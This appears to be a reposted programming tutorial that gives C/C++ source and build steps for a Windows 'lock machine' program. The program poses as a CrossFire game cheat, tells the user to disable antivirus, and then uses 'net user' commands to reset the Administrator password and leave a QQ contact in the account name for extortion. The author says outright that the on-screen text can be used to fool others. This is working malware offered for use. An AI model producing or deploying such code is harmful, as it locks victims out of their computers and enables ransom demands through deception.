Home > Article > Backend Development > C/C++ easily writes computer lock program
First of all, you must know that the Windows user account can be operated in the cmd interface
In c/c++, you can use system("") to communicate directly with cmd
The following is the code, It's very simple, no need to explain anymore, let's look at the functions of these two lines of code from the demonstration!
# include <stdlib.h> # include <stdio.h> # include <windows.h> int main() { int i = 1; int a; system("title 锁机程序"); //这个是程序标题,可以修改 MessageBoxA(NULL, "运行cf辅助之前请关闭杀毒软件!", "温馨提示", MB_OK);//弹窗一个窗口。可以修改 if (i != 0) { printf("程序正在运行,请勿关闭程序!!\n"); printf("\t\t请选择1或者2开启和关闭辅助!\n");//这些大家随便改,可以忽悠别人 printf("\n"); printf("1.开启锁机\n"); printf("\n"); printf("2.关闭锁机\n"); Sleep(1000); } scanf_s("%d", &a); switch (a) { case 1:printf("\a"); printf("辅助开启成功,游戏登录后自动生效。\n"); system("net user Administrator /fullname:想知道密码了联系QQ:XXXXXXXXX"); system("net user administrator 888888"); break; case 2:printf("辅助开启失败"); break; } }
We set it to the Release version, as shown in the figure below
Then we changed it to xp runnable mode
Then modify the permissions
Modify the runtime library
After generating the file, drag it into the virtual machine and then restart or log out after running it. When we enter, we will find the following screenshot:
The above is the content of writing a computer lock program easily in C/C++ , for more related content, please pay attention to the PHP Chinese website (www.php.cn)!